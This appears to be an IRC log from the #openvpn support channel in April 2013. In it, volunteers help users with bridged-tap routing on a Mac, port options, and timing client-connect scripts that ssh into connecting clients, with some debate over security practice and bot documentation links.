19:15 < Sjors> I'm *this* close to finishing my OpenVPN setup, but can't figure out the last step
19:17 < Sjors> I have a machine that runs only the OpenVPN server, it has one single interface, and I want any connecting clients to bridge with that interface; there is an external DHCP server which is supposed to serve VPN clients too
19:17 < Sjors> that works; I've configured my OpenVPN server to use tap, there's a bridge, clients can connect and are bridged to that network
19:17 < Sjors> but now I'm trying to figure out how to push a route to the clients so that they use the router of the network they're connecting to as the default gateway
19:18 < Sjors> I'm using a Mac client currently, and have the route hard-coded until I get it working for this single client, so I've got:
19:18 < Sjors> push "route [IP of VPN] 255.255.255.255 [IP of current gateway]"
19:18 < Sjors> push "route 0.0.0.0 128.0.0.0 [IP of new gateway]"
19:18 < Sjors> push "route 128.0.0.0 128.0.0.0 [IP of new gateway]"
19:19 < Sjors> this should let the current gateway stay the default gateway, but have an overriding entry for 0/1 and 128/1 so that the _actual_ default gateway is the gateway on the other end of the VPN tunnel
19:19 < Sjors> but the VPN will still work due to the first route making a static route for the endpoint IP address through the current gateway
19:20 < Sjors> these routes are pushed to the OS X client, which happily inserts them into the route table -- but now the client cannot access anything anymore, except for the VPN endpoint, most probably because the overriding routes are created on the wrong interface:
19:20 < Sjors> 0/1                10.73.74.1         UGSc          206       11     en1
19:20 < Sjors> the interface is "en1", which is the wireless interface, not the tunnel interface -- while 10.73.74.1 is the new gateway reachable on the tunnel interface
19:23 < Sjors> if I add the routes myself, they do show up nicely with the right interface:
19:23 < Sjors> sjors@smbp:~$ sudo route add -net 0.0.0.0/1 10.73.74.1
19:23 < Sjors> add net 0.0.0.0: gateway 10.73.74.1
19:23 < Sjors> 0/1                10.73.74.1         UGSc            0        0    tap0
19:23 < Sjors> and everything works, too, then -- yet if openvpn creates the route, the wrong interface is used, and I can't reach anything anymore -- can anyone explain why this happens, and what I can do to solve this?
19:25 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Ping timeout: 256 seconds]
19:34 -!- raidz is now known as raidz_away
19:35 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
19:50 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
19:53 < pekster> Sjors: See --route-delay. You have a race condition between the DHCP subsystems and the route command. Of course, if you used a routed VPN for doing routing you wouldn't have this problem; the better solution is to use tun
19:53 < pekster> (and your OS foolishly lets you add a gateway on a link where that network isn't accessible. Can't fix the OS though)
19:55 < Sjors> pekster: yeah, I figured that out, and noticed that "redirect-gateway def1" is exactly what I'm doing with 0/1 and 128/1
19:55 < Sjors> pekster: so now I'm pushing route-delay 30, route-gateway dhcp, redirect-gateway def1, and pushing a static route myself because that didn't seem to go automatically
19:56 < pekster> Do you *actually* need tap though?
19:56 < pekster> !tunortap
19:56 <@vpnHelper> "tunortap" is (#1) you ONLY want tap if you need to pass layer2 traffic over the vpn (traffic destined for a MAC address). If you are using IP traffic you want tun. Dont waste the extra overhead. or (#2) and if your reason for wanting tap is windows shares, see !wins or (#3) also remember that if someone gets access to any side of a tap vpn they can use layer2 attacks like arp poisoning against you
19:56 <@vpnHelper> over the vpn or (#4) lan gaming? use tap! or (#5) Normal Android/iOS devices (not rooted/jailbroken) support only tun.
19:56 < pekster> I'm hardly going to waste time trying to talk you out of it, but outside of situations where you want multicast or 2-decade old IPX games to work, it's usually not necessary
19:57 < Sjors> hmm, well, I primarily want the DHCP server on my existing network to be the one to hand out IP addresses to VPN clients
19:57 < Sjors> if that's possible with tun then I'm fine with using tun too if that solves any problems
19:58 < Sjors> with the push options above (gateway dhcp, delay 30, redirect-gateway def1) the routes are all created as I expect them, but I'm still unable to access the rest of the Internet and I haven't yet figured out why
19:58 < pekster> Nope. In a routed setup you allocate a unique network for the VPN LAN. You can assign them via whatever backend you want (you could dynamically allocate them out of a pool managed by openvpn, or script it via --client-connect and use any backend you'd like)
19:58 < Sjors> I have a 0/1 and 128/1 route to the right gateway, I can ping the gateway and the external IP of the gateway, but not anything beyond that, and the firewall on the gateway has its policy set to ACCEPT for this kind of traffic
19:59 < pekster> Since you're apparently routing traffic over the VPN, it's usually the preferred choice
19:59 < Sjors> pekster: I already have a separate subnet for the VPN; this subnet is 10.73.74.0/24 and it's routed by the main gateway of the network
20:00 < pekster> Then why bother with DHCP/
20:00 < Sjors> pekster: this main gateway routes multiple subnets, one of which is the VPN; it also runs the DHCP server for 10.73.74.0/24 and some other subnets
20:00 < pekster> Bridging is more complicated, and if you're not intending to actually bridge, there's no point
20:00 < pekster> It's complicated *and* broken ;)
20:00 < Sjors> if I let openvpn do the routing, will the DHCP server of the network still be the one to hand out IP addresses and not openvpn itself?
20:00 < pekster> (and since you can ping the gateway, it's also not openvpn's responsibiliy to fix the breakage)
20:01 < pekster> Sjors: No. I'm curious why you "need" that. Regardless, your problem is obviously on that gateway system since pings work to it across the VPN
20:01 < pekster> If you can ping across the VPN, the rest of your problem is routing and firewalls
20:01 < Sjors> one other symptom is that my Mac is adding static routes for any IP's I try to access
20:02 < Sjors> the static route has "link#4" as the gateway, and tap0 as the interface, indicating that it expects to be able to access that IP immediately on the tap0 interface without even passing the gateway
20:02 < Sjors> it's weird, I wonder why that's happening
20:03 < pekster> So, 1) you've avoided the standard routing setup, 2) you have a mysterious "need" to have a DHCP server hand IPs to a dedicated VPN subnet, and 3) you've apparently misconfigured said gateway to not route your traffic correctly
20:03 < pekster> And, what's the benefit exactly? Besides being obscenly complicated
20:03 < pekster> Again, OpenVPN is apparently working fine if you can ping, from your VPN client, to the gateway past the VPN server acting as your bridge
20:09 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Quit: emmanuelux]
20:24 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 252 seconds]
20:27 < Sjors> pekster: sorry, back
20:27 < Sjors> pekster: I configured my DHCP server to report its status and update the DNS etcetera
20:28 < Sjors> pekster: I can let opendns do the same, but then I'll have to duplicate the scripts and the configuration, and if possible I want to keep configuration in one place
20:28 < Sjors> pekster: that's why I thought tap was fit for me
20:29 < Sjors> pekster: but yeah, I agree, it's unlikely that the currently remaining problems are caused by openvpn, so that's a good sign :)
20:29 < Sjors> pekster: thanks a lot for your help
20:33 < Sjors> I think the gateway is at least mostly configured correctly: it routes the other subnets without problems, and the configuration for the OpenVPN subnet is the same
20:33 < Sjors> I think the culprit are the static routes my Mac is automatically adding to its routing tables; those routes imply that the IP I want to reach is immediately at the other end of tap0, so it doesn't even try to route them over the default gateway
20:34 < Sjors> I don't know why it adds them though, but that's most likely off-topic to this channel
20:40 < Sjors> yeah that's it: my Mac is sending ARP requests for IP's on the Internet, such as Google's IP's (I see 74.125.132.102)
20:41 < Sjors> why it would send ARP requests instead of just sending the packets to the default gateway is beyond me
20:44 < pekster> It apparently thinks they're on-link
20:44 < pekster> Maybe one of your devices has a misconfigured mask on it
20:53 < Sjors> yeah that occured to me too, but the netmask is 255.255.255.0 (or as Mac ifconfig prints it, 0xffffff00)
20:55 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
21:26 -!- ZombieDahmer [ZombieDahm@c-67-169-147-158.hsd1.ca.comcast.net] has joined #openvpn
21:28 -!- me0615 [~me0615@122.2.46.76] has joined #openvpn
21:29 < me0615> good day. i would like to ask what is the use of using lport and rport option on the client config and using of bind and nobind. though I read the manual, but i still cannot fully understand how it works.
21:30 -!- SGold [~Stan@cpe-098-024-058-068.carolina.res.rr.com] has joined #openvpn
21:36 -!- tyteen4a03 [tyteen4a03@us2.freeBNC.net] has quit [Ping timeout: 252 seconds]
21:41 -!- me0615 [~me0615@122.2.46.76] has quit []
21:41 < rob0> The good news is, if you don't understand it, you probably don't need it. --lport might be useful in breaking through a brain-dead firewall.
21:41 < rob0> grrr
21:47 < Poster> I run into that occasionally with a zytel DSL modem
21:47 < Poster> UDP state table gets lost
21:47 < Poster> =[
21:47 < pekster> IRC is TCP
21:48 < pekster> Unless you mean over a UDP transport (ie: openvpn) in which case a lower keepalive setting would suffice. Or a non-crappy router if it's really the router's fault (a "modem" shouldn't care what's it's translating)
21:48 < Poster> PING is ICMP
21:48 < Poster> yes I am aware of both of those, I was sharing a case when lport was needed
21:49 < rob0> but it's all moot, because the one asking left before I hit enter on the first answer.
21:49 < Poster> well that's embarassing
21:55 < ZombieDahmer> !welcome
21:55 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
21:55 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
21:56 < ZombieDahmer> I would like to access the internet over my vpn
21:56 < ZombieDahmer> lol
21:58 < pekster> ZombieDahmer,
21:58 < pekster> !redirect
21:58 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
21:58 <@vpnHelper> http://ircpimps.org/redirect.png
22:07 < ZombieDahmer> i think i'm in way over my head
22:19 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 258 seconds]
22:21 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
22:34 -!- SGold [~Stan@cpe-098-024-058-068.carolina.res.rr.com] has quit [Quit: Leaving]
22:39 < ZombieDahmer> hmm
23:03 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
23:03 -!- mitz_ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 240 seconds]
--- Day changed Wed Apr 17 2013
00:00 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has joined #openvpn
00:01 < dimm0k> is it possible to test my vpn setup from a local computer?
00:24 -!- brute11k1 [~brute@89.249.231.147] has joined #openvpn
00:25 -!- brute11k [~brute@89.249.231.147] has quit [Ping timeout: 240 seconds]
00:28 -!- brute11k [~brute@89.249.231.147] has joined #openvpn
00:30 -!- brute11k1 [~brute@89.249.231.147] has quit [Ping timeout: 252 seconds]
00:40 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 260 seconds]
00:43 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
00:57 -!- brute11k1 [~brute@89.249.231.147] has joined #openvpn
00:59 -!- brute11k [~brute@89.249.231.147] has quit [Ping timeout: 252 seconds]
01:01 -!- mattock_afk is now known as mattock
01:12 -!- brute11k1 [~brute@89.249.231.147] has quit [Ping timeout: 252 seconds]
01:21 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:26 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:13 -!- JesseCW [~JesseCWor@wsip-98-175-20-126.br.br.cox.net] has joined #openvpn
02:22 -!- Netsplit *.net <-> *.split quits: JesseC
02:28 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
02:34 -!- tharkun [~0@187.188.166.5] has joined #openvpn
02:34 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
02:34 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
02:43 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
02:44 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:59 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 264 seconds]
03:13 -!- blorgh [~bagar@c-ba08e353.029-192-7570701.cust.bredbandsbolaget.se] has quit [Ping timeout: 245 seconds]
03:15 -!- blorgh [~bagar@c-54d172d5.029-192-7570701.cust.bredbandsbolaget.se] has joined #openvpn
03:16 -!- dazo_afk is now known as dazo
03:33 -!- js_ [~js@li503-152.members.linode.com] has quit [Remote host closed the connection]
03:56 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
03:56 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has quit [Remote host closed the connection]
04:39 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 272 seconds]
04:57 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
05:19 -!- rooth [tomte@stuck.in.the.basement.at.fritzl.nu] has quit [Ping timeout: 248 seconds]
05:22 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 255 seconds]
05:25 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
05:38 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 258 seconds]
05:41 -!- janjust [~janjust@ip197-159-212-87.adsl2.static.versatel.nl] has joined #openvpn
05:41 -!- janjust [~janjust@ip197-159-212-87.adsl2.static.versatel.nl] has quit [Changing host]
05:41 -!- janjust [~janjust@openvpn/community/support/janjust] has joined #openvpn
05:43 -!- janjust [~janjust@openvpn/community/support/janjust] has quit [Client Quit]
05:44 -!- Zenum [~quassel@unaffiliated/zenum] has quit [Ping timeout: 245 seconds]
05:45 -!- krzee [~k@2610:150:4002::3:1] has joined #openvpn
05:45 -!- iZenum [~quassel@ollienixon-1-pt.tunnel.tserv26.ber1.ipv6.he.net] has joined #openvpn
05:45 -!- krzee [~k@2610:150:4002::3:1] has quit [Changing host]
05:45 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
05:45 -!- mode/#openvpn [+o krzee] by ChanServ
05:45 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has quit [Ping timeout: 258 seconds]
05:46 < pagios__> which priviledges do i need to give to a user so i run the openvpn deamon under his account? i dont want to run it under root since the scripts that will be running will be executed as root, which is not what i want
05:48 -!- kantlivelong [~kantlivel@home.kantlivelong.com] has joined #openvpn
05:49 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has quit [Ping timeout: 258 seconds]
05:50 -!- takamichi [~takamichi@217.23.15.212] has quit [Ping timeout: 245 seconds]
05:53 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
05:54 < EugeneKay> !unpriv
05:54 <@vpnHelper> "unpriv" is see https://community.openvpn.net/openvpn/wiki/UnprivilegedUser for a write-up by EugeneKay on how to run OpenVPN without root/admin permissions.
05:54 < EugeneKay> pagios__ ^
05:55 < EugeneKay> Basically, the user needs to have access to the tun device and be able to add IPs to it / add routes to the system
06:04 -!- rooth [~rooth@213.132.98.41] has joined #openvpn
06:08 -!- rooth is now known as rooth|off
06:11 -!- rooth [tomte@92.43.35.21] has joined #openvpn
06:18 < pagios__> i am using --server on openvpn, can i assign static ip address to clients?
06:19 -!- rooth|off [~rooth@213.132.98.41] has quit [Quit: leaving]
06:26 < dimm0k> is it possible to test my vpn setup from a local computer?
06:28 < jzaw> dimm0k, yes
06:29 < jzaw> pagios see ccd files  + topology
06:29 < jzaw> pagios__, ^^^
06:32 < pagios__> jzaw: but if i use a ccd and --server , --server will assign a dhcp ip to the client, so it will be too late for the ccd to run the script to assign the static ip right?
06:38 < jzaw> see ifconfig-push per ccd file
06:39 -!- fordbr [~user@60-241-99-147.static.tpgi.com.au] has joined #openvpn
06:41 < pagios__> jzaw: i checked it but i mean what wouldhappen if you have --server and that ifconfig push per ccd
06:41 < pagios__> which one will win?
06:41 < pagios__> dhcp from -server or ccd
06:43 < pagios__> btw can i include a client-connect "client_sec1.sh > /tmp/log.txt"                         in the CCD? so it becomes private to that client?
06:43 < pagios__> or i need to include it in server,conf?
06:43 < dimm0k> jzaw: thanks
06:49 < pagios__> Options error: option 'client-connect' cannot be used in this context
06:54 < fordbr> pagios__: Check for the common name in your script
06:54 < pagios__> i have like 100 checks fordbr
06:54 < pagios__> i thought maybe we can include in ccd
06:56 < fordbr> Just have your script exec a script based on the common name if it exists
06:56 < fordbr> Not much different to 100 ccd files
06:59 < pagios__> fordbr: now wheat i do is a check on common name if exists, execute the script, i have like 100 checks to see if the common name matches any
07:01 -!- dimm0k [~dimm0k@unaffiliated/dimm0k] has quit [Quit: work work work]
07:03 < fordbr> pagios__: I mean check for file existance using the shell. A single test.
07:04 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
07:09 -!- Orbi [~opera@109.129.63.15] has joined #openvpn
07:09 < pagios__> i dont see how i can get the client ip address trust_ip returns the public ip and not the vpn one
07:09 -!- franks2 [~frank@91.229.143.143] has quit [Ping timeout: 248 seconds]
07:10 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
07:10 -!- tharkun [~0@187.188.166.5] has joined #openvpn
07:10 -!- tharkun [~0@187.188.166.5] has quit [Changing host]
07:10 -!- tharkun [~0@unaffiliated/tharkun] has joined #openvpn
07:13 -!- Orbi [~opera@109.129.63.15] has left #openvpn []
07:15 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has joined #openvpn
07:16 -!- franks2 [~frank@91.229.143.143] has joined #openvpn
07:19 < pagios__> i am having this problem, trying to ssh in my client-script but it fails since the route is being set after the script
07:19 < pagios__> http://pastebin.com/kEHtnxgz
07:19 < pagios__> do i need to set a static route before script execution?
07:22 < EugeneKay> You probably want a different scripting point
07:22 < EugeneKay> --route-up sounds more appropriate
07:24 -!- Cpt-Oblivious [~cpt-obliv@dhcp-077-250-057-096.chello.nl] has quit [Ping timeout: 276 seconds]
07:28 < pagios__> thanks :)
07:30 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
07:31 -!- master_o1_master [~master_of@p4FF24419.dip.t-dialin.net] has joined #openvpn
07:34 -!- cnf [qB0QQpdCVG@unaffiliated/cnf] has left #openvpn ["Leaving"]
07:34 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
07:35 -!- master_of_master [~master_of@p4FF24492.dip.t-dialin.net] has quit [Ping timeout: 276 seconds]
07:36 < pagios__> \route-up "/bin/sh /home/admin1/scripts/client_check.sh > /tmp/log.txt" ? :/
07:37 <@dazo> pagios__: what does the man page say?
07:37 < pagios__> --route-up cmd
07:37 < pagios__> so wondering if i should use the -- in the server.conf
07:38 <@dazo> !--
07:38 <@vpnHelper> "--" is OpenVPN allows any option to be placed either on the command line or in a configuration file. Though all command line options are preceded by a double-leading-dash ("--"), this prefix is usually omitted when an option is placed in a configuration file.
07:38 <@dazo> pagios__: however ... it also says "cmd" ... not "cmds" or "cmd with args"
07:38 < pagios__> even if between double quotes ? " "
07:38 < pagios__> wouldnt it be a "cmd"
07:39 <@dazo> pagios__: okay ... go ahead and try ... and see it fail
07:39 < pagios__> listen i am trying to learn here, i am not challenging you whatoever
07:39 < pagios__> it looks like it fails and this is why i am asking
07:41 -!- kyrix [~ashley@85-126-76-82.work.xdsl-line.inode.at] has joined #openvpn
07:42 -!- pagios__ [~pagios@46.19.194.111] has left #openvpn ["Leaving"]
08:02 -!- pagios__ [~pagios@46.19.194.111] has joined #openvpn
08:02 < pagios__> EugeneKay: i tried using the route-up command same error no route to host, here is a pastie http://pastie.org/7629687
08:03 < pagios__> looks like the rules are being pushed after the client script fails
08:17 -!- pagios__ [~pagios@46.19.194.111] has quit [Remote host closed the connection]
08:19 < fordbr> pagios__: Your script is running on server start when there is no client connected and therefore no 10.8.0.101 to connect to.
08:19 < fordbr> Check the context the script is running under.
08:21 -!- pagios [~pagios@46.19.194.111] has joined #openvpn
08:27 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has quit [Ping timeout: 245 seconds]
08:27 -!- meepmeep [meepmeep@there-is-no.endoftheinternet.org] has joined #openvpn
08:32 < jzaw> anyone here use openvpn on an edgerouter lite ?
08:33 < jzaw> im teetering on the brink of buying one cos of ovpn in it
08:33 < jzaw> would love a comment that convinced me it was a good buy for that reason
08:34 -!- krzee [~k@openvpn/community/support/krzee] has quit [Excess Flood]
08:35 -!- p3rror [~p3rror@41.249.1.117] has joined #openvpn
08:37 -!- TheWarden [~chatzilla@S0106e0469a3d83ef.ss.shawcable.net] has joined #openvpn
08:39 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn
08:39 -!- mode/#openvpn [+o krzee] by ChanServ
08:40 < pagios> did any reply me? i was dc sorry
08:44 -!- brute11k [~brute@89.249.231.180] has joined #openvpn
08:50 -!- ChauffeR [squirrel@2001:470:1f08:a2a::1337] has quit [Ping timeout: 245 seconds]
08:54 -!- ChauffeR [squirrel@2001:470:1f08:a2a::1337] has joined #openvpn
08:58 < pekster> jzaw: Probably not, but I've done quite a few deployments of OpenVPN on OpenWRT as a platform. It's embedded, and stable enough that it'll run for months on end without issue
08:59 -!- speed_racer8 [~speed_rac@173.45.222.89] has joined #openvpn
09:00 < jzaw> pekster, aye loving it on the tp-link wr740n <-- IMPRESSIVE for £10
09:01 < jzaw> and even better on the tp-link wr4300 i got the other day
09:01 < jzaw> both openwrt
09:01 < jzaw> but was wondering on some semi-pro kit since ill be leaving it behind at my FiL
09:02 < jzaw> with little chance of me visiting in 12months
09:07 < pagios> ok, i am pretty sure that the up script or client-connect script is always fired before the client CCD file is loaded (which assigns ip and making routing available) so my up/client connect has a ssh command which is timing out with no route to host, question is how can i execute the script after CCD is loaded correctly so a route can be established, thank you
09:11 < pagios> maybe route-delay?
09:14 < pekster> pagios: --client-connect controlls if you allow the client to connect and passes options to the client; that can't happen "after" the client is already connected
09:15 < pagios> pekster: ok i tried the up-connect but also it executes "before"
09:16 < pagios> trying now up-delay but it seems it cannot be used with mod server
09:21 < fordbr> pagios: Your log shows a learn address after connection.
09:24 < pagios> fordbr: yes correct
09:24 < pagios> how can i make the learn address before script execution
09:26 < pekster> See the "SCRIPTING AND ENVIRONMENTAL VARIABLES" section; --ipchange might be what you want, although be careful if you have LANs behind clients since it'll hit for every new routing entry
09:26 < pagios> thank you :)
09:30 < pagios> pekster: Options error: --ipchange cannot be used with --mode server (use --client-connect instead)
09:32 < pekster> Oh, sorry, I meant --learn-address
09:32 -!- Lars_G [~Lars@unaffiliated/lars-g/x-000001] has left #openvpn []
09:32 < fordbr> The "be careful" part still holds though
09:33 < pekster> It still might not necessarily be accessible right away if it adds the address of the client before the push is complete (or before the client has time to add the IP to its end.) Do you really need to ssh into the box "the very second" the thing is up? You could just fork from --client-connect and sleep for 15 or 20 seconds in the new invocation
09:33 < pekster> I'm not sure what your use-case is, but the client isn't "instantly" available just because the server has finished authenticating the client
09:33 < pagios> pekster: still doesnt work.. http://pastebin.com/AjESZpry
09:34 < pagios> pekster: what i want to do is when a client connects, ssh into it and issue a uname -a
09:34 < pagios> hmm ok let me try the forking
09:35 < pagios> you mean by forking just include a sleep x seconds, will it stop the whole vpn loading process or client-connect is executed in its own thread?
09:35 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
09:36 < pekster> That's kind of a silly thing to want. You're probably better off finding a cleaner solution to your problem beyond launching ssh from the server. Moreso because to do it automatically you need an unencrypted private ssh key on the server. Unless you're using a forced-command in the client's authorized_keys, that's also something of a potential security risk
09:37 < pagios> yes the ssh keys are already done
09:37 < pekster> I'm saying I think you have an awful solution
09:37 < pekster> If you really want it, yes, fork or call a sub-process and background it
09:37 < pagios> i want the server to check the client but not vice versa
09:37 < pagios> mainly for authenticty
09:38 < pekster> This is what authentication is for...
09:38 < pekster> Use certificates like they were intended
09:38 < pekster> There's absolutely no need to use insecure practices to get the reported host info after the remote end has already passed all the TLS security checks
09:38 < pagios> pekster: certificates are not enough since i want to check for example if the client has any inserted usb into it , so my script will go remotely into the box and issue some commands
09:39 < pagios> so it is beyond authenticity it is like checking for some Operating system stuff
09:40 < pekster> I see. I still think using ssh is a bad practice due to the nature of unencrypted private keys lying around an Internet-connected system. Use it if you want, but the better solution is to connect to some management process across the VPN tunnel using the secured IP link the VPN creates
09:41 < pagios> even if the key is stolen, once i ssh into the box and see from some hardware id that the hardware is a different one i can disconnect the funnel or just erase everything on the client
09:41 < pekster> If you know
09:41 < pagios> dmesg doesnt lie :)
09:41 < pekster> unencrypted keys are bad. Unencyrpted keys that aren't locked down with the forced-command feature of ssh are worse. Do what you want with this info
09:42 < pagios> private keys are on the openvpn server public ones on the clients
09:43 < pekster> And since you apparently trust the remote system to feed you the correct info whewn you ssh-in, why not just have the *client* do the validation?
09:43 < pagios> authentication is happening over the openvpn tunnel (encrypted)
09:43 < pekster> This is in fact what anti-virus solutions that "verify" the host is properly protected do
09:43 < pagios> yes
09:44 < pagios> client is not in my control
09:44 < pagios> it is sold to customers
09:44 < pagios> so they have full control over the client, i am forcing a check from server to client to check if nothing is modified and that all is as expected
09:44 < pekster> Then why do you trust what it spits back when you ssh in? What stops it from having an altered $PATH to spit back whatever value you "expect" while it's a compromised system?
09:45 < pekster> Your entire premise is flawed if you don't controll/trust the client OS. Feel free to carry on though
09:45 < pagios> pekster: you are right, a good intruder can just fake a reply to look like authentic
09:46 < pagios> but the intruder needs to know first the commands i am sending and what i am expecting in return, noting that the intruder doesnt have shell access only web access to the client interface
09:46 < pagios> so yes its an added layer of security but not optimal
09:47 < pagios> i dont find an optimal one when an intruder has physical access to a client
09:48 < pagios> all commands sent and received will be over the tunnel (encrypted) so unless he plugs in a low level console adapter to see the data flowing he will have to crack the client to have shell access to snoop on the content using some stack trace
09:48 < pekster> Don't justify it to me; I don't care
09:48 < pagios> hehe ok
09:49 < pagios> let me try the sleep thread
09:49 < pekster> You need another *process* that's backgrounded (if your language has some form of fork support, you can use that, or the bash soltuion of other-script.sh &
09:50 < pagios> i am actually using bash
09:50 < pagios> you mean client-connect "other script.sh &" and sleep inside other script.sh
09:51 < pekster> Sure
09:53 < pekster> um, the bash commands happen inside the bash script, not the ovpn directive
09:53 < pekster> If that doesn't make sense, you shouldn't be writing bash scripts ;)
09:55 < pagios> sure :)
10:10 -!- speed_racer8 [~speed_rac@173.45.222.89] has quit [Ping timeout: 264 seconds]
10:16 < pagios> pekster: http://pastebin.com/RAPBBBPX :/
10:16 < pagios> i did a & in the server.conf next to the client connect and a sleep 15 in the client script called
10:17 < pagios> it looks like the sleep15 in the script is making the whole openvpn process sleep :)
10:18 -!- raidz_away is now known as raidz
10:18 < pekster> And that's not at all what I said
10:18 < pekster> The script openvpn calls needs to fork a subprocess
10:19 -!- p3rror [~p3rror@41.249.1.117] has quit [Remote host closed the connection]
10:21 < pagios> pekster: thats what i am doing: http://pastebin.com/ecbJyeB7
10:22 < pekster> Nope, it's not
10:22 < pekster> script != functrion
10:22 < pekster> function*
10:23 <@krzee> put your function into another script, call that script into the background from the script you are currently writing
10:23 <@krzee> (to repeat pekster)
10:23 -!- mitz__ [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 264 seconds]
10:24 < pagios> works fine :) thanks
10:29 -!- speed_racer8 [~speed_rac@c-76-30-149-251.hsd1.tx.comcast.net] has joined #openvpn
10:32 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Quit: Leaving]
10:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 248 seconds]
10:39 < Dropje> krzee: wouldn't the route-up directive execute a cmd after an established tunnel discarding the need for forking in the background?
10:40 <@krzee> !script
10:40 <@vpnHelper> "script" is For a list of places scripts can hook into openvpn, see the manpage section under the heading: SCRIPTING AND ENVIRONMENTAL VARIABLES
10:40 <@krzee> wtf someone deleted the link!?
10:40 < EugeneKay> !blame
10:40 <@krzee> 1sec ill go get it back
10:40 <@vpnHelper> "blame" is (#1) According to Bushmills, it's always krzee's fault or (#2) According to krzee, it's always dazo's fault or (#3) and dazo will always blame EugeneKay, Bushmills, ecrist or any other sensible victims in the required moments or (#4) cron2 says its always d12fk's fault (and sometimes the customers)
10:40 <@krzee> !scripts
10:40 <@krzee> grr
10:41 < Dropje> hehe
10:41 < Dropje>  --route-up
10:41 < Dropje>               Executed after connection authentication, either immediately after, or some number
10:41 < Dropje>               of seconds after as defined by the --route-delay option.
10:45 -!- takamichi [~takamichi@217.23.15.212] has joined #openvpn
10:47 <@krzee> !forget script
10:47 <@vpnHelper> Joo got it.
10:48 <@krzee> !learn script as http://openvpn.net/index.php/open-source/documentation/manuals/69-openvpn-21.html#lbAQ    see SCRIPTING AND ENVIRONMENTAL VARIABLES in the manual for a list of places that scripts can hook into openvpn.
10:48 <@vpnHelper> Joo got it.
10:48 < pekster> krzee: The link is to a 2008 copy of openvpn...
10:48 <@krzee> it didnt change
10:49 <@krzee> (that part)
10:49 <@krzee> and the new manual doesnt support anchors
10:49 < pekster> But we already get enough people using it thinking it's current becuase links (often on google, or openvpn.se) told them so
10:49 < pekster> If people can't be bothered to find a string in a manpage, openvpn is probably too complicated for them
10:50 <@krzee> leave the links on the bot please
10:50 < pekster> How about we fix the problem, not link to old info?
10:50 <@krzee> sure, add anchors to the new manual?
10:50 < Dropje> introduce anchors? :)
10:50 < pekster> If we need anchros in current docs, then let's add them
10:51 < pekster> I'm tired of seeing old info lying around and do my best to remove the defunct references and old notions (like ns-cert-type, for instance) where possible. Deprecated stuff needs to die
10:51 <@krzee> updating links in the bot = good.  deleting them = bad =]
10:51 < pekster> There is no current link beyond !man
10:51 <@krzee> ns-cert-type is no worse than the other way, its just not the standard
10:52 < pekster> ns-cert-type uses a deprecated X509 extension
10:52 <@krzee> right, but its no less secure, no difference in its effectiveness when used in openvpn
